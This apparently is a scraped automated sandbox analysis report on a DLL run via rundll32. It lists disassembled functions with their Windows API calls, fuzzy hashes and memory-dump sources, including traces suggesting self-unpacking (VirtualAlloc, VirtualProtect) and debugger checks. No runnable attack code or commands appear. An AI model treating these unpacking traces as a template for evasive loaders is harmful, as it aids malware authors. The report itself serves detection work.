Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae64409f2d16467f71373ee2bf306acfd33e073002edd05b5c76f8db5368782a
Instruction ID: 871588092784499dbe20461b53a764f07f7465dcf0cb92c9c2e73c8676363867
Opcode Fuzzy Hash: ae64409f2d16467f71373ee2bf306acfd33e073002edd05b5c76f8db5368782a
Instruction Fuzzy Hash: 3F612021608B9397DB51CFED88D075A7AA66F92204F18C2ADCC654F38ADA71CC29C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED48CC0, Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d139eb4d573b3b3d1014b080c0fd1ab8e66937a0c43eb19ae496f21c9fb69d1
Instruction ID: 92634137a3cd460aeffb12ae6d3944cc3621ffd0f1ebc4f61f0f57489c5aa6b7
Opcode Fuzzy Hash: 3d139eb4d573b3b3d1014b080c0fd1ab8e66937a0c43eb19ae496f21c9fb69d1
Instruction Fuzzy Hash: EA514CA9A05713CAE7549FAAC85022FB2A2AFF17D0B15C23CF9A547294F772C451C2D1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED48AB0, Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10a3c9910ea41fd533c8730267ed1528ca8aaa2e9f90d5bc588d437e70140cb2
Instruction ID: 620e7df213dab9c0664e7074b4587c907e7dac93dff22970bdf133ef49e54670
Opcode Fuzzy Hash: 10a3c9910ea41fd533c8730267ed1528ca8aaa2e9f90d5bc588d437e70140cb2
Instruction Fuzzy Hash: 345139E9A05713CAE7584FA9C89162772A2AFF13D0B19C23CF9A587354F772C41183D1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED488C0, Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0462b3abe644d686df3d15cf7fea5482de025a1b1b951e707ee8700216b69174
Instruction ID: 3d9396b6384336805f8ecd36c88562d3d0d9424385cdad2569482482d2cb365f
Opcode Fuzzy Hash: 0462b3abe644d686df3d15cf7fea5482de025a1b1b951e707ee8700216b69174
Instruction Fuzzy Hash: 36514EA9A04B13C6E7588FEAC45222772E2AFE5390B19C23CF9A547395F771C411C2D2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED5CEF8, Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcbcf9705e709eb844b646129b4b55cf383a25db1a3ec8ef676bcb8762ebb863
Instruction ID: 147e03801ba5c14923a126b8785e06dd65e4afc4c5f59abb4d10d864348836bd
Opcode Fuzzy Hash: fcbcf9705e709eb844b646129b4b55cf383a25db1a3ec8ef676bcb8762ebb863
Instruction Fuzzy Hash: AB41B67530A256D9EF808FEAD8907FE37A59F51758F104826FD60CD388E732C8A6D660

Uniqueness

Uniqueness Score: -1.00%

Function 6ED496D0, Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b175748cf7301ee0c6ed0bf10d9d1cc7f3f0d81bd195dc22fade8a8467494fda
Instruction ID: 12019d4d4dc30f06bbb1532ec5d1f8bc81a1130b8b168a86340b5a0766d8e3fa
Opcode Fuzzy Hash: b175748cf7301ee0c6ed0bf10d9d1cc7f3f0d81bd195dc22fade8a8467494fda
Instruction Fuzzy Hash: 3F415772914223C7D7144FAFC991626B2A5AFA1360F15833DECA68B3D0EB71D851C3D1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED42980, Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 475582ec0291c738737616c8c61c557fe24601267fbd2ac211f41d83c6bdb55d
Instruction ID: d4c7182b4dc4fdd86d76b0ba32cec4a8d7eca46cbfd7c0898d362f33c3397f9a
Opcode Fuzzy Hash: 475582ec0291c738737616c8c61c557fe24601267fbd2ac211f41d83c6bdb55d
Instruction Fuzzy Hash: D741AC34244209EBD744EFA4CC90BEA33A8AFB0648F44882CF8559B2D1EF71E945C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED5BE30, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76f6433e3c74a3447e8eaa2ba15ee16424b61191432471d824bdce721637ee07
Instruction ID: 1061e59fd1e38552f58b89f108b3dfd86663c376a34ce9e9cd25f0f03a5801c1
Opcode Fuzzy Hash: 76f6433e3c74a3447e8eaa2ba15ee16424b61191432471d824bdce721637ee07
Instruction Fuzzy Hash: B8F05E35204903EEFF455FE99C91B5E32EC9F55294F284965BA30D93DCFB21C4244921

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5108 Parent PID: 4748 rundll32.exeCOMMON

Executed Functions

Function 6EE7BA72, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,000006CA,00003000,00000040,000006CA,6EE7B4C0), ref: 6EE7BB2F
VirtualAlloc.KERNEL32(00000000,00000138,00003000,00000040,6EE7B520), ref: 6EE7BB66
VirtualAlloc.KERNEL32(00000000,0003C452,00003000,00000040), ref: 6EE7BBC6
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6EE7BBFC
VirtualProtect.KERNEL32(6ED30000,00000000,00000004,6EE7BA51), ref: 6EE7BD01
VirtualProtect.KERNEL32(6ED30000,00001000,00000004,6EE7BA51), ref: 6EE7BD28
VirtualProtect.KERNEL32(00000000,?,00000002,6EE7BA51), ref: 6EE7BDF5
VirtualProtect.KERNEL32(00000000,?,00000002,6EE7BA51,?), ref: 6EE7BE4B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6EE7BE67

Memory Dump Source

Source File: 00000004.00000002.816090252.000000006EE7B000.00000040.00020000.sdmp, Offset: 6EE7B000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: 623767ba2e3a7c7d0b172c65f64f1ac8c574a60b99b15513513a4157166d0342
Instruction ID: 1d9c9cd19eb34e68ff18f939fcd0652840778fba2f4851d9a459b9888fb6b05a
Opcode Fuzzy Hash: 623767ba2e3a7c7d0b172c65f64f1ac8c574a60b99b15513513a4157166d0342
Instruction Fuzzy Hash: 79D15B72900A01EFDF55CF54D880B9277A6FF88350B180994ED299F35EDBBAA801DB74

Uniqueness

Uniqueness Score: -1.00%

Function 6ED77560, Relevance: 1.8, APIs: 1, Instructions: 259memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6ED767B0: RtlEnterCriticalSection.NTDLL(?), ref: 6ED767BF

RtlAllocateHeap.NTDLL(6EE7A374,00000000,?), ref: 6ED776F2

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: AllocateCriticalEnterHeapSection
String ID:
API String ID: 8947104-0
Opcode ID: 2ac3cd24da0639f3f592b2c127a53d5565522a71acdd591d119d01f56d137a0c
Instruction ID: 95b1c628c673d361d8a886f1b69eb9c9f0294dfab927454890f4b3b6cd0b658a
Opcode Fuzzy Hash: 2ac3cd24da0639f3f592b2c127a53d5565522a71acdd591d119d01f56d137a0c
Instruction Fuzzy Hash: D3B156B5A04219EFDF54CF98D890B9EBBB5FB49314F208919E815AB384D775E840CFA0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EDA8B60, Relevance: 61.9, APIs: 33, Strings: 2, Instructions: 602COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 6EDA8C99
OutputDebugStringW.KERNEL32(6EE0EC48), ref: 6EDA8CA6
OutputDebugStringW.KERNEL32(6EE0EC94), ref: 6EDA8CCE
OutputDebugStringW.KERNEL32(6EE0ECB4), ref: 6EDA8CD9
OutputDebugStringW.KERNEL32(?), ref: 6EDA8CE6
OutputDebugStringW.KERNEL32(6EE0DAFC), ref: 6EDA8CF1
__strftime_l.LIBCMTD ref: 6EDA8D4C
__aligned_msize.LIBCMTD ref: 6EDA8DCA
__invoke_watson_if_error.LIBCMTD ref: 6EDA8DD3
__aligned_msize.LIBCMTD ref: 6EDA8E26
__invoke_watson_if_error.LIBCMTD ref: 6EDA8E2F
__aligned_msize.LIBCMTD ref: 6EDA8E60
__invoke_watson_if_error.LIBCMTD ref: 6EDA8E69
__aligned_msize.LIBCMTD ref: 6EDA8EAD
__invoke_watson_if_error.LIBCMTD ref: 6EDA8EB6
__aligned_msize.LIBCMTD ref: 6EDA8EE5
__invoke_watson_if_error.LIBCMTD ref: 6EDA8EEE
__aligned_msize.LIBCMTD ref: 6EDA8FC5
__invoke_watson_if_error.LIBCMTD ref: 6EDA8FCE
__aligned_msize.LIBCMTD ref: 6EDA9001
__invoke_watson_if_error.LIBCMTD ref: 6EDA900A
__cftoe.LIBCMTD ref: 6EDA9043
__aligned_msize.LIBCMTD ref: 6EDA908A
__invoke_watson_if_error.LIBCMTD ref: 6EDA9093

Strings

@n, xrefs: 6EDA8E13, 6EDA8E19
P, xrefs: 6EDA935A

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: __invoke_watson_if_error$__aligned_msize$DebugOutputString$__cftoe__strftime_l
String ID: @n$P
API String ID: 4201128107-2493267242
Opcode ID: 00b99907c8407cc81a21fbcc09f234854352cf13f7f795c48cc6f08957f2adde
Instruction ID: a0d2026bf7d84c54a495f0db1b7c3f66c3559fbd8925cb2734e6a3e73ac31328
Opcode Fuzzy Hash: 00b99907c8407cc81a21fbcc09f234854352cf13f7f795c48cc6f08957f2adde
Instruction Fuzzy Hash: 2E32A071940618EBEF60CF94DC48FDE7378BB08305F1085A9E6496A280EB759B98CF65

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA97B0, Relevance: 7.6, APIs: 5, Instructions: 116threadtimeCOMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,6EDA9B96,6EDFE700,6EE7A5A0,6EDB7094,?,6EDB7094,6EE7A5A0,6EDFE700,00012010), ref: 6EDA97C0
IsDebuggerPresent.KERNEL32(?,?,?,?,6EDA9B96,6EDFE700,6EE7A5A0,6EDB7094,?,6EDB7094,6EE7A5A0,6EDFE700,00012010), ref: 6EDA97FA

Part of subcall function 6EDA9A50: OutputDebugStringW.KERNEL32(?,?,6EDA97D9,00000000,?,?,?,?,6EDA9B96,6EDFE700,6EE7A5A0,6EDB7094,?,6EDB7094,6EE7A5A0), ref: 6EDA9A5B

CreateThread.KERNEL32(00000000,00000000,6EDA99E0,?,00000000,00000000), ref: 6EDA9852
std::_Timevec::_Timevec.LIBCPMTD ref: 6EDA985C
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000), ref: 6EDA9894

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: DebuggerPresent$CreateDebugObjectOutputSingleStringThreadTimevecTimevec::_Waitstd::_
String ID:
API String ID: 3615580482-0
Opcode ID: 8cc1d2e0366bdaf205e0e2ff3a446ac9e01990af7b5714d62cb82bfc254537f5
Instruction ID: 909687732cf3b43dd60bc01acd45ec6364e0ee3108ab5745489caba56dac401b
Opcode Fuzzy Hash: 8cc1d2e0366bdaf205e0e2ff3a446ac9e01990af7b5714d62cb82bfc254537f5
Instruction Fuzzy Hash: D5413CB1D04219FBDF14CFE9E850BEE77B8AF04304F108559E656AA180EB359705CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC2960, Relevance: 6.2, APIs: 4, Instructions: 232COMMON

Download Yara Rule

APIs

IsValidCodePage.KERNEL32(0000FDE9), ref: 6EDC2B30

Part of subcall function 6EDC1E20: GetUserDefaultLCID.KERNEL32(?,?,6EDC2AD3,?,?,?,?,?,?,?,?,?,6EDAE414,?,?,?), ref: 6EDC1E36

IsValidLocale.KERNEL32(00000000,00000001), ref: 6EDC2B4A
GetLocaleInfoW.KERNEL32(00000000,00001001,00000000,00000040,00000000,-00000120,00000055,00000000,00000000,?,00000055,00000000), ref: 6EDC2BB3

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: LocaleValid$CodeDefaultInfoPageUser
String ID:
API String ID: 334263767-0
Opcode ID: bf678d43866daa4eb3a2d512cff8d0b44b9c07cf2a254995a082db9dfbe8e66c
Instruction ID: 53060e55a18062776b835807c9dd347f3753b91f3288a40d08616aeb3af6f23a
Opcode Fuzzy Hash: bf678d43866daa4eb3a2d512cff8d0b44b9c07cf2a254995a082db9dfbe8e66c
Instruction Fuzzy Hash: 3D91AFB0A0060ADFEB04CFD4C991BBFB7B9BF45B48F109518E505AB284D775E941CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC2750, Relevance: 4.6, APIs: 3, Instructions: 63COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(217400E4,20001004,?,00000002,?,?,6EDC2B0D), ref: 6EDC278D
GetACP.KERNEL32(?,?,6EDC2B0D), ref: 6EDC27A1
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002), ref: 6EDC27D2

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d52350dbc35c9bd8ebef66bb9f66299b0c835b7d38b93b89c0885c280caf6b43
Instruction ID: d0e102cd3908062636f6b8ce9057898e57a9d9d03c74d553f44db3b6ea5c3b4a
Opcode Fuzzy Hash: d52350dbc35c9bd8ebef66bb9f66299b0c835b7d38b93b89c0885c280caf6b43
Instruction Fuzzy Hash: 5A118E74614504FFEB40CBE5D8C4F9A737CAB05B89F10A418F909CB180E731DA82DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC1E60, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(6EDC2040,00000001), ref: 6EDC1F09

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 5c7ec614bde1d7a116d0148614772a28c6d27c0e3c4c5da6d3efe357d3067341
Instruction ID: 7d554d07a78555c101157843327d9eaa7be693b93eaea3e80d1dbcebc77bbc05
Opcode Fuzzy Hash: 5c7ec614bde1d7a116d0148614772a28c6d27c0e3c4c5da6d3efe357d3067341
Instruction Fuzzy Hash: 11212AB9900208EFDB04CFD4C494B9DBBBAFB49754F108598E8159B340D775EA45CF82

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC1F40, Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(6EDC24E0,00000001), ref: 6EDC1FB2

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 19b867f4d445fec1542da09c82e1c967823bb1514ec8081315d32a4f46038c05
Instruction ID: 0d45307214716f4bb2bb309ccdf9405033f54523eb156fc4f1ec7dfcd46c2665
Opcode Fuzzy Hash: 19b867f4d445fec1542da09c82e1c967823bb1514ec8081315d32a4f46038c05
Instruction Fuzzy Hash: D2112A75E00208EFDB04CFD4C480B9DB7B9EB49754F208594E8059B340D775EA45CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6EDABC30, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000), ref: 6EDABC8C

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 55078d8d60212c22a50ba4359bbf5dc262aa95d0a22eba8e0a86b4f5e85bb923
Instruction ID: d6b194493c3a36bd3110f723d707bbc6a9844e8676dc24c42ea3403e5bbe6d34
Opcode Fuzzy Hash: 55078d8d60212c22a50ba4359bbf5dc262aa95d0a22eba8e0a86b4f5e85bb923
Instruction Fuzzy Hash: C401A575A1020CFFCB04DFE9D894E9EB7B9AF88300F108558B9169B284DB34AA51CB64

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC1DB0, Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(6EDC1C70,00000001), ref: 6EDC1DF7

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: ec860d148e7ba9be9c051d3d7b3ac6c43e569966b59aacb430cfe2ed0c792bb3
Instruction ID: fa5c3ae634b3761213734d0c9cf61701cc443bec166f17314ea596223e6cfe02
Opcode Fuzzy Hash: ec860d148e7ba9be9c051d3d7b3ac6c43e569966b59aacb430cfe2ed0c792bb3
Instruction Fuzzy Hash: C0F01D75A00208EBDB00CFD4D945B8EBBB9EB45758F108594E8459B340D772EA94CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAB0B0, Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(00000000,00000001), ref: 6EDAB0D4

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: a34fc0823b29f7b2c4b4119babf954de50273d9013ec41601b2d5ca0103efdfc
Instruction ID: 53218a2a766ff03687ea3e93588e171fd2b1d782b71cc194cb5716b0f217ba4e
Opcode Fuzzy Hash: a34fc0823b29f7b2c4b4119babf954de50273d9013ec41601b2d5ca0103efdfc
Instruction Fuzzy Hash: 06F065B4D4420CBBDF00DFF4D806ADD7B78EB11214F0045A4ED199B280FB31AA59C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6EE7B64D, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.816090252.000000006EE7B000.00000040.00020000.sdmp, Offset: 6EE7B000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction ID: 0195ddf1a697b08abf3280d4cda4036107dbf6dbe5613b773de7ef24b4fd2255
Opcode Fuzzy Hash: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction Fuzzy Hash: 9511D3737446019FDB64CED9EC90E9273DBFB89234B25806AEE04CB319D635E802C760

Uniqueness

Uniqueness Score: -1.00%

Function 6EE7B942, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.816090252.000000006EE7B000.00000040.00020000.sdmp, Offset: 6EE7B000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction ID: ac7ce9b9ef1282bab9d51e3a1f7e9d7077fa30442b97bc4a7e759a82c8df6451
Opcode Fuzzy Hash: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction Fuzzy Hash: 1B0104327642418FDB64CB59D994D6AB7E5EBC2328B25807EC45683719D220EC42CA20

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA47C0, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5fa89dcbc29637d2ac05b4a81dd5d1e7e0efd0d5c3ecf96455fa5c90b4eae7d
Instruction ID: f08f460fa61f8fe3fa8ca78f5af7a27eba6655d96f60723840569d91699c3391
Opcode Fuzzy Hash: b5fa89dcbc29637d2ac05b4a81dd5d1e7e0efd0d5c3ecf96455fa5c90b4eae7d
Instruction Fuzzy Hash: D8F0A02455D2C4AADB428BEED0127BA7BA85F83304F0400D8C5801B242D92AC70BD3A1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAE220, Relevance: 28.8, APIs: 19, Instructions: 334COMMON

Download Yara Rule

APIs

__wcstombs_l.LIBCMTD ref: 6EDAE2D4
__invoke_watson_if_error.LIBCMTD ref: 6EDAE2DD
__aligned_msize.LIBCMTD ref: 6EDAE326
__invoke_watson_if_error.LIBCMTD ref: 6EDAE32F

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: __invoke_watson_if_error$__aligned_msize__wcstombs_l
String ID:
API String ID: 2802205028-0
Opcode ID: 8afb326d2f5e9a7403e0343a081cca0300661dfdac3f0bb10c467f58776bd236
Instruction ID: f52e4d2582ed5efc82c64252c015432e08518eaa8934acd6ffbef629dfd23704
Opcode Fuzzy Hash: 8afb326d2f5e9a7403e0343a081cca0300661dfdac3f0bb10c467f58776bd236
Instruction Fuzzy Hash: E1C153B1904214ABDB21DF98CC41FDE7379AB44708F144899BE08BB281EB75DB90CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB6EB0, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

<program name unknown>, xrefs: 6EDB6F8D

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID:
String ID: <program name unknown>
API String ID: 0-554726554
Opcode ID: 29476ca3800b38d63df6c04ae66ac64cf5617d3725400f64bcfff17c65628905
Instruction ID: 16c00f75bdfc44bbbf621ad2bce476077ea5b644f305d2fa4c3c6f7fb94c5732
Opcode Fuzzy Hash: 29476ca3800b38d63df6c04ae66ac64cf5617d3725400f64bcfff17c65628905
Instruction Fuzzy Hash: 4941E4F5E50204BBDB10EBE8DC46FDE3A695B69309F644854F909AF3C2FA30E65053A1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED80AD0, Relevance: 16.7, APIs: 11, Instructions: 227COMMON

Download Yara Rule

APIs

__ctrlfp.LIBCMTD ref: 6ED80AE2
__sptype.LIBCMTD ref: 6ED80B0A
__ctrlfp.LIBCMTD ref: 6ED80B32
__except2.LIBCMTD ref: 6ED80B96
__ctrlfp.LIBCMTD ref: 6ED80BBA
__copysign.LIBCMTD ref: 6ED80C4A
__except2.LIBCMTD ref: 6ED80C71
__except2.LIBCMTD ref: 6ED80CCE
__except2.LIBCMTD ref: 6ED80D13

Part of subcall function 6EDB10D0: __raise_exc.LIBCMTD ref: 6EDB1143
Part of subcall function 6EDB10D0: __errcode.LIBCMTD ref: 6EDB114F
Part of subcall function 6EDB10D0: __umatherr.LIBCMTD ref: 6EDB119C

__except2.LIBCMTD ref: 6ED80D70

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: __except2$__ctrlfp$__copysign__errcode__raise_exc__sptype__umatherr
String ID:
API String ID: 2970023028-0
Opcode ID: 818dda0f676d69fb368f8b762a843b2beab3978db29dd8ed4b4a85890fa25d90
Instruction ID: 6006406ed914fc7c010409aebcbb9526a3aee47119330669058cedc8de4ff920
Opcode Fuzzy Hash: 818dda0f676d69fb368f8b762a843b2beab3978db29dd8ed4b4a85890fa25d90
Instruction Fuzzy Hash: 6C815BB1C1490DDBDB00BFE9E94A5AEBF74FF45349F0049A8E9C021188EB31527C87A6

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC9A50, Relevance: 13.8, APIs: 9, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6EDCAB41,?,00000006,?), ref: 6EDC9A88
__fassign.LIBCMTD ref: 6EDC9BB3
__fassign.LIBCMTD ref: 6EDC9C0D
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,6EDCAB41,00000005,00000000,00000000), ref: 6EDC9D10
WriteFile.KERNEL32(?,6EDCAB41,00000000,?,00000000), ref: 6EDC9D4D
GetLastError.KERNEL32 ref: 6EDC9D57

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: __fassign$ByteCharConsoleErrorFileLastMultiWideWrite
String ID:
API String ID: 3321916596-0
Opcode ID: d9cd4999cc376f1326ddd6428bb142eebda046efe16b6612fe3a49111b52c743
Instruction ID: cc9b452b30b8c14da8020dc91ccaf13a0028a125b557c7d1366693ab77b163f0
Opcode Fuzzy Hash: d9cd4999cc376f1326ddd6428bb142eebda046efe16b6612fe3a49111b52c743
Instruction Fuzzy Hash: 5AE116B4A142099FCB08CF98D591ADEBBF5BF89304F24C159E909AB385D731E942CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6ED751B0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 293COMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000006,?,00000000,?,6ED761A2,?,?,?,?,?,?,?,6EDA94CC,00000002,?,00000000), ref: 6ED751F0
__invoke_watson_if_error.LIBCMTD ref: 6ED75293

Strings

@, xrefs: 6ED752BC
@, xrefs: 6ED7535F

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: HandleModule__invoke_watson_if_error
String ID: @$@
